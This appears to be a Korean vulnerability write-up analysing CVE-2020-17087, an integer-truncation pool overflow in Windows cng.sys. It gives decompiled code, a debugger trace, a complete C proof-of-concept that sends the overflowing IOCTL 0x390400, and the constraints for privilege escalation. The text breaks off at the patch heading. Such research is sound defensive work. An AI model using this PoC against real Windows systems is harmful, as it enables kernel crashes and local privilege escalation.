CVE-2020-17087-Windows pool buffer overflow in cng.sys IOCTL

Introduction

Windows의 커널 암호화 드라이버인 cng.sys에서 발생한 buffer overflow 취약점 CVE-2020-17087을 분석하고 In the Wild에서 쓰였던 버그인 만큼 local privilege escalation까지 도달 할 수 있는 방법을 연구해보려고 한다. 분석은 Windows 10 1909(OS build 18363.418)에서 진행 하였다.

About CNG

MSDN에 따르면 CNG는 기존의 Cryto API를 대체하기 위해서 만들어졌다고 한다. 또한 확장성이 좋게 설계 되었다고 한다. MSDN에서 여러 예제나 사용방법을 확인 할 수 있다.

The Vulnerability

bug class는 16-bit integer truncation로 인한 buffer overflow이다. 해당 취약점은은 IOCTL 0x390400 처리 중 cng!CfgAdtpFormatPropertyBlock에서 발생한다. 해당 루틴은 다음과 같은 call로 호출된다. 다른 드라이버들 처럼 IOCTL에 따라 dispatch하는 루틴을 쉽게 확인 할 수 있다.

call stak

1
2
3
4
5
6
7
8
cng!CfgAdtpFormatPropertyBlock
cng!CfgAdtReportFunctionPropertyOperation+0x23e
cng!BCryptSetContextFunctionProperty+0x3a2
cng!_ConfigurationFunctionIoHandler+0x3bd5c
cng!ConfigFunctionIoHandler+0x4e6
cng!ConfigIoHandler_Safeguarded+0xd2
cng!CngDeviceControl+0x97
cng!CngDispatch+0x8a

cng!CfgAdtpFormatPropertyBlock code snippet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
__int64 __fastcall CfgAdtpFormatPropertyBlock(char *SourceBuffer, unsigned __int16 buffersize, __int64 OutputBuffer)
{
 ....
  v3 = 0;
  v6 = SourceBuffer;
  if ( SourceBuffer && buffersize && OutputBuffer )
  {
    v7 = 6 * buffersize;
    v8 = BCryptAlloc((unsigned __int16)(6 * buffersize)); //[+] overflow here
    v9 = v8;
    if ( v8 )
    {
      v10 = (_WORD *)v8;
      if ( buffersize )
      {
        v11 = buffersize;
        do
        {
          *v10 = byte_1C009CE70[(unsigned __int64)(unsigned __int8)*v6 >> 4];
          v12 = v10 + 1;
          v13 = *v6++;
          *v12++ = byte_1C009CE70[v13 & 0xF];
          *v12 = 32;
          v10 = v12 + 1;
          --v11;
        }
        while ( v11 );
...
  return v3;
}

위 로직을 보면 BcryptAlloc에서 integer overflow가 발생한다. buffer size는 uint16 type으로 선언 되어있으나 buffersize * 6을 수행했을때 0x10002이나 타입이 uint16이므로 0x2만 남게된다. 아래는 디버깅 결과이다.

1
2
3
4
5
6
7
8
9
10
rax=0000000000005556 rbx=0000000000000000 rcx=0000000000000002
rdx=0000000000002aab rsi=ffffe105fd086958 rdi=0000000000000002
rip=fffff805705328ca rsp=ffffe105fd0868e0 rbp=0000000000002aab
 r8=ffffe105fd086958  r9=ffffe105fd086e60 r10=0000000000000004
r11=0000000000000000 r12=ffffa582fe1f9000 r13=ffffe105fd086ee0
r14=ffffa582fe1f9000 r15=ffffe105fd086eb8
iopl=0         ov up ei pl nz na pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040a03
cng!CfgAdtpFormatPropertyBlock+0x4e:
fffff805`705328ca e82105fbff      call    cng!BCryptAlloc (fffff805`704e2df0)

BcryptoAlloc()의 인자가 2로 세팅된것을 확인 할 수 있다. 추가적으로 overflow가 발생한 상황에서 우리가 원하는 값을 완전히 적을 수 없다. do-while로 감싸진 부분을 보면 input buffer로 들어온 값을 특정 연산을 수행한 후에 output buffer에 적는 것을 확인 할 수 있다.

PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#pragma comment(lib, "ntdll")

#include <cstdio>
#include <windows.h>

int main() {
    HANDLE hCng = CreateFileA("\\.\GLOBALROOT\Device\Cng",
        GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);

    if (hCng == NULL) {
        printf("[-] Failed to open \Device\Cng: %u\n", GetLastError());
        return 1;
    }

    printf("[+] \Device\Cng opened, handle: %p\n", hCng);

    CONST DWORD DataBufferSize = 0x2AAB;
    CONST DWORD IoctlSize = 4096 + DataBufferSize;
    BYTE* IoctlData = (BYTE*)HeapAlloc(GetProcessHeap(), 0, IoctlSize);

    RtlZeroMemory(IoctlData, IoctlSize);

    *(DWORD*)&IoctlData[0x00] = 0x1A2B3C4D;
    *(DWORD*)&IoctlData[0x04] = 0x10400;
    *(DWORD*)&IoctlData[0x08] = 1;
    *(ULONGLONG*)&IoctlData[0x10] = 0x100;
    *(DWORD*)&IoctlData[0x18] = 3;
    *(ULONGLONG*)&IoctlData[0x20] = 0x200;
    *(ULONGLONG*)&IoctlData[0x28] = 0x300;
    *(ULONGLONG*)&IoctlData[0x30] = 0x400;
    *(DWORD*)&IoctlData[0x38] = 0;
    *(ULONGLONG*)&IoctlData[0x40] = 0x500;
    *(ULONGLONG*)&IoctlData[0x48] = 0x600;
    *(DWORD*)&IoctlData[0x50] = DataBufferSize; // OVERFLOW
    *(ULONGLONG*)&IoctlData[0x58] = 0x1000;
    *(ULONGLONG*)&IoctlData[0x60] = 0;
    RtlCopyMemory(&IoctlData[0x200], L"FUNCTION", 0x12);
    RtlCopyMemory(&IoctlData[0x400], L"PROPERTY", 0x12);

    ULONG_PTR OutputBuffer = 0;
    DWORD BytesReturned;
    BOOL Status = DeviceIoControl(
        hCng,
        0x390400,
        IoctlData,
        IoctlSize,
        &OutputBuffer,
        sizeof(OutputBuffer),
        &BytesReturned,
        NULL
    );

    printf("[+] Ioctl sent, Status: %d, OutputBuffer: %zx\n", Status, OutputBuffer);

    HeapFree(GetProcessHeap(), 0, IoctlData);
    CloseHandle(hCng);

    return 0;
}

Exploit Condition

해당 취약점을 사용해서 exploit을 수행해기 위해서는 다음과 같은 제약 조건이 있다.

  1. overflow는 0x10000~0x5FFFA byte만큼 덮어 쓸 수 있다.
  2. overflow가 발생하는 buffer는 NonPagedPoolNx를 통해 할당되며 0x2~0xFFFF사이의 크기를 가진다.
  3. 덮여 쓰여지는 값은 XX 00 XX 00 20 00의 형태를 가지며 XX는 0x30~0x39, 0x61~0x66의 범위를 가진다.

The patch